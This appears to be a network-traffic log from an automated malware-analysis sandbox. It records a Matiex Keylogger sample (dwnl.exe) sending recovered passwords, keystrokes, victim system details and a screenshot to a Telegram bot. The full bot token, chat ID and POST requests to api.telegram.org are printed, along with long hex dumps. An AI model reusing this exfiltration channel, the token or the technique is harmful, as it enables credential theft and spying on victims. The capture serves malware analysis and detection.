Data Ascii: --------------------------8d97680395634b8Content-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:14 UTC	7369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:14 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:14 UTC	7370	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 33 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":320,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507533,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49827	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:14 UTC	7370	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803975448c Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:14 UTC	7371	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 39 37 35 34 34 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d976803975448cContent-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:14 UTC	7371	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:14 GMT Content-Type: application/json Content-Length: 555 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:14 UTC	7372	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 34 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":321,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507534,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49828	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:14 UTC	7372	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768039a2802d Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:14 UTC	7373	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 39 61 32 38 30 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d9768039a2802dContent-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:14 UTC	7389	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:14 UTC	7405	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:14 UTC	7421	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:14 UTC	7437	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:14 UTC	7453	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:14 UTC	7469	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:14 UTC	7485	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:14 UTC	7501	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:14 UTC	7517	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:14 UTC	7533	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:14 UTC	7549	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:14 UTC	7565	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:14 UTC	7581	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:14 UTC	7597	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: 